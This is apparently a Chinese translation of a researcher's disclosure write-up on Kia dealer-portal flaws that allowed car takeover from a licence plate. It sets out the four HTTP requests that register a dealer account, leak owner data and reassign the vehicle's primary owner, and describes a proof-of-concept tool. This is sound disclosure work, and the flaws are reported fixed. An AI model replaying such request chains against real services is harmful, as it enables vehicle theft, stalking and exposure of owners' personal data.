【翻译】入侵起亚:仅凭车牌即可远程控制汽车

2024-09-29 11:05   重庆  


演示

介绍

2024 年 6 月 11 日,我们发现起亚汽车中存在一组漏洞,仅使用车牌即可远程控制关键功能。这些攻击可以在大约 30 秒内对任何配备硬件的车辆进行远程执行,无论该车辆是否拥有有效的 Kia Connect 订阅。

此外,攻击者还可以悄悄获取个人信息,包括受害者的姓名、电话号码、电子邮件地址和实际地址。这样攻击者就可以在受害者不知情的情况下将自己添加为受害者车辆上的隐形第二用户。


我们开发了一个工具来演示这些漏洞的影响,攻击者只需 (1) 输入起亚汽车的车牌,然后 (2) 在大约 30 秒后对车辆执行命令即可。这些漏洞现已修复,此工具从未发布,起亚团队已确认此工具从未被恶意利用。

受影响的车辆

在以下链接中进行查询:https://samcurry.net/hacking-kia

漏洞记录

大约两年前,我和几名黑客搜索了十几家汽车公司的漏洞。我们发现了一些关键问题,这些问题可以让攻击者远程定位、禁用启动器、解锁和启动大约 1550 万辆汽车。这引起了很大的反响。The Security Ledger 创始人 Paul Roberts甚至在美国国会听证会上就这些发现作证

由于时间已经过去很久,我们决定再次访问几家较大的公司,看看是否能发现任何新问题。我们花时间访问的第一家公司是起亚。

当我们开始关注起亚时,我们最初关注的是owners.kia.com网站和 Kia Connect iOS 应用程序com.myuvo.link。这两个应用程序都很有趣,因为它们可以执行互联网到车辆的命令。

虽然车主网站和移动应用程序的用途相同,但它们处理车辆命令的方式不同。车主网站使用后端反向代理将用户命令转发到api.owners.kia.com实际负责执行车辆命令的后端服务,而移动应用程序则直接访问此 API。

以下 HTTP 请求显示了owners.kia.com网站如何将 API 请求代理到api.owners.kia.com主机以解锁车门。

在“owners.kia.com”网站上解锁车门的 HTTP 请求

POST /apps/services/owners/apigwServlet.html HTTP/2
Host: owners.kia.com
Httpmethod: GET
Apiurl: /door/unlock
Servicetype: postLoginCustomer
Cookie: JSESSIONID=SESSION_TOKEN;

在发送源自owners.kia.com网站的上述 HTTP 请求后,Kia 后端将生成一个Sid会话 ID 标头,该标头由后端 API 使用我们的身份验证来使用,然后最终以以下格式JSESSIONID将转发的 HTTP 请求发送到网站。api.owners.kia.com

由服务器形成和代理的 HTTP 请求

GET /apigw/v1/rems/door/unlock HTTP/1.1
Host: api.owners.kia.com
Sid: 454817d4-b228-4103-a26f-884e362e8dee
Vinkey: 3ecc1a19-aefd-4188-a7fe-1723e1663d6e

上述 HTTP 请求中的重要标头是Sid(会话令牌)和Vinkey(索引到 VIN 的 UUID)。还包含各种其他标头,这些标头都是访问 API 本身所必需的,但这两个标头与车辆访问控制有关。上述两个 HTTP 请求都位于我们在 2023 年发现原始起亚漏洞的同一区域。

由于我们已经非常熟悉用户方面的事情,所以我们决定查看起亚经销商网站。

针对起亚经销商基础设施

我们从未测试过起亚如何实际激活新购买的车辆。在与几个人交谈后,我们了解到起亚会在经销商处询问您的电子邮件地址,然后您会收到一个注册链接,用于注册新的起亚帐户或将新购买的车辆添加到您现有的起亚帐户中。

我们询问他们是否可以分享 Kia 提供的注册链接,他们非常友好地转发了他们的电子邮件。我们从超链接中复制了以下 URL:

https://kiaconnect.kdealer.com/content/kDealer/en/kiauser.html?token=dealer_generated_access_token&vin=example_vin&scenarioType=3

太有趣了!这个kiaconnect.kdealer.com域名是我们以前从未见过的。我们打开 URL 并看到以下端点:



Kiaconnect 初始车辆注册 URL



在上面的 URL 中,token参数(也称为 VIN 密钥)是起亚经销商生成的访问令牌,作为一次性授权来修改vin参数中指定的车辆。加载上述 URL 后,将发送以下 HTTP 请求以验证令牌未过期或未使用。

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com

{
"token": "985a49f0-1fe5-4d36-860e-d9b93272072b",
"vin": "5XYP3DHC9NG310533",
"scenarioType": 3,
"loginPref": null
}

非常有趣。用于验证一次性访问令牌的 HTTP 请求被发送到/apps/services/kdealer/apigwServlet.html与上一个owners.kia.com请求相同的 URI,只是这次是在 Kia Connect 经销商网站上发送的。这可能意味着经销商基础设施具有与经销商功能的内部 API 类似的转发代理。

我们深入研究了 JavaScript 以寻找有趣的 APIGW 调用,并发现了似乎仅限员工的功能。其中提到了经销商车辆查询、帐户查询、注册、取消注册以及更多与经销商相关的 API 调用。

dealerVehicleLookUp() {
this.displayLoader = !0, this.vinToEnroll = "eDelivery" != this.entryPoint ? this.vinToEnroll.replace(/\s/g, "") : this.userDetails.vin, "17" == this.vinToEnroll.length && this.landingPageService.postOffice({
vin: this.vinToEnroll
}, "/dec/dlr/dvl", "POST", "postLoginCustomer").subscribe(i => {
i && (i.hasOwnProperty("body") && "0" == i.body.status.statusCode ? this.processDvlData(i.body) : "1003" == i.body.status.errorCode && "kia-dealer" == this.entryPoint ? this.reRouteSessionExpire() : (this.displayLoader = !1, this.alertMessage = i.body.status.errorMessage, document.getElementById("triggerGeneralAlertModal").click()))
})
}

Appid为了测试我们是否可以访问这些端点中的任何一个,我们使用我们自己的经销商令牌(标头)和我们拥有的车辆的 VIN向经销商 APIGW 端点发出 HTTP 请求。

尝试使用起亚经销商 APIGW 端点发送 HTTP 请求来搜索 VIN

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/dvl

{
"vin": "1HGBH41JXMN109186"
}

HTTP 响应

HTTP/1.1 401 Unauthorized
Content-type: application/json

{
"status": {
"statusCode": 1,
"errorType": 1,
"errorCode": 1003,
"errorMessage": "Session Key is either invalid or expired"
}
}

不。经销商端点似乎不想使用我们在购买新车时通过电子邮件提供给我们的访问令牌。

我们回想起了原来的owners.kia.com网站,然后想:如果有一种方法可以注册为经销商,生成访问令牌,然后在这里使用该访问令牌,那会怎样?该kiaconnect.kdealer.com网站似乎具有相同的 API 格式,所以也许我们可以复制格式,注册一个帐户并登录?

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/registerUser

{
"userCredential": {
"firstName": "Sam",
"lastName": "Curry",
"userId": "normal.user@gmail.com",
"password": "FakePass123!",
"acceptedTerms": 1
}
}

它返回了 200 OK!看来我们可以使用与在 Kia Owners 网站上注册相同的 HTTP 请求在 Kia Dealer 网站上注册。我们快速尝试登录并生成访问令牌:

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser

{
"userCredential": {
"userId": "normal.user@gmail.com",
"password": "FakePass123!"
}
}

登录有效,服务器返回带有会话 cookie 的 HTTP 响应。

HTTP/1.1 200 OK
Sid: 123e4567-e89b-12d3-a456-426614174000

我们将生成的访问令牌发送到之前未经授权的经销商 APIGW 端点以搜索 VIN。

使用起亚经销商 APIGW 端点搜索 VIN 的 HTTP 请求(带有“dda”访问令牌)

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Appid: 123e4567-e89b-12d3-a456-426614174000
Apiurl: /dec/dlr/dvl

{
"vin": "1HGBH41JXMN109186"
}

HTTP 响应

HTTP/1.1 200 OK
Content-type: application/json

{
"payload": {
"billingSubscriptionSupported": 1,
"digitalKeySupported": 0,
"generation": "3",
"profiles": [
{
"address": {},
"billSubscriptionStatus": 1,
"digitalKeyStatus": 0,
"email": "victim@gmail.com",
"enrollmentReqStatus": 1,
"enrollmentStatus": 1,
"firstName": "yeet",
"lastName": "yeet",
"loginId": "victim@gmail.com",
"phone": "4027181388",
"phoneType": 3,
"wifiHotspotStatus": 0
}
],
"vinAddedToAccount": 1,
"wifiHotspotSupported": 1
}
}

在注册并验证经销商帐户后,我们能够生成一个有效的访问令牌,可用于调用后端经销商 API!HTTP 响应包含车主的姓名、电话号码和电子邮件地址。我们能够使用我们的常规应用程序凭据和修改后的渠道标头验证经销商门户。这意味着我们很可能能够访问所有其他经销商端点。

接管车辆

经过几个小时的 JavaScript 筛选,我们终于了解了注册、取消注册和车辆修改端点的工作原理。可以发送以下四个 HTTP 请求以获取受害者车辆的访问权限。



完整的高级攻击流程



(1)生成经销商令牌并从 HTTP 响应中检索“令牌”标头

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /prof/authUser

{
"userCredential": {
"userId": "normal.kia.user@gmail.com",
"password": "Fakepass123!"
}
}
  • 使用我们创建的经销商账户,我们将通过/prof/authUser端点进行身份验证以获取会话令牌。

(2)获取受害者的电子邮件地址和电话号码

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/dvl
Appid: 123e4567-e89b-12d3-a456-426614174000

{
"vin": "VIN"
}
  • 通过添加的会话令牌标头,我们能够访问kiaconnect.kdealer.com网站上的所有经销商端点,并可以检索受害者的姓名、电话号码和电子邮件。

(3)使用泄露的电子邮件地址和 VIN 号码修改车主之前的访问权限

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /dec/dlr/rvp
Appid: 123e4567-e89b-12d3-a456-426614174000

{
"vin": "VIN",
"loginId": "victim_email_leaked@gmail.com",
"dealerCode": "eDelivery"
}
  • 我们发送此请求以降级车辆所有者,以便我们可以将自己添加为主要帐户持有人。我们必须在此处发送受害者的电子邮件,这是我们在第二步中获得的。

(4)将攻击者添加到受害车辆

POST /apps/services/kdealer/apigwServlet.html HTTP/1.1
Host: kiaconnect.kdealer.com
Httpmethod: POST
Apiurl: /ownr/dicve
Appid: 123e4567-e89b-12d3-a456-426614174000

{
"vin": "5XYRK4LFXMG016215",
"loginId": "attacker@gmail.com"
}
  • 最后,我们将攻击者控制的电子邮件指定为车辆的主要所有者。这将允许我们向车辆发送任意命令。

上述四个 HTTP 请求可用于仅使用车牌向几乎任何 2013 年后生产的起亚汽车发送命令(具体信息见“受影响的车辆”表)。

从受害者的角度来看,他们没有收到车辆被访问或访问权限被修改的通知。攻击者可以解析某人的车牌,通过 API 输入其 VIN,然后被动跟踪他们并发送解锁、启动或鸣喇叭等主动命令。

这里的影响对我们来说非常明显,我们立即向起亚报告,但当他们正在修复时,我们决定构建一个概念验证仪表板,以更好地展示此漏洞的影响。

创建车牌盗用概念验证

我们的概念验证 UI 的目标只是有一个仪表板,攻击者可以在其中 (1) 输入起亚汽车的车牌号码,(2) 检索车主的 PII,然后 (3) 在车辆上执行命令。

由于我们要将受害者的车辆添加到攻击者控制的帐户中,因此我们决定构建概念验证,以包含“漏洞”和“车库”页面。漏洞页面将用于实际接管车辆,然后车库页面将用于发出命令并定位车辆。

它的工作方式如下:

  • License Plate to VIN表单使用第三方API将车牌号转换为VIN

  • Takeover按钮将使用从车牌号中检索到的 VIN 执行 4 步流程来接管受害者的车辆,具体步骤为:(1) 通过登录表单生成经销商令牌,(2) 从受害者的帐户中检索电子邮件/电话号码,(3) 将帐户所有者降级为帐户持有人,(4) 将我们自己添加为主要帐户持有人。

  • Fetch Owner按钮会被动地告诉我们受害者的姓名、电子邮件和电话号码

  • Garage选项卡允许我们列出并执行受感染车辆上的命令

构建此工具后,我们使用一辆带锁的租赁起亚汽车录制了概念验证。博客开头附带的这段视频展示了我们使用手机接管车辆,然后能够远程锁定/解锁、启动/停止、鸣笛和定位车辆。



仅使用车牌号即可入侵汽车





在受感染的车辆上执行命令



结论

汽车将继续存在漏洞,因为就像 Meta 可以引入代码更改,从而允许某人接管你的 Facebook 账户一样,汽车制造商也可以对你的汽车做同样的事情。


安全视安
欢迎关注我的公众号!在这里,我们汇集了三大主题:文学、情感与网络安全。
 最新文章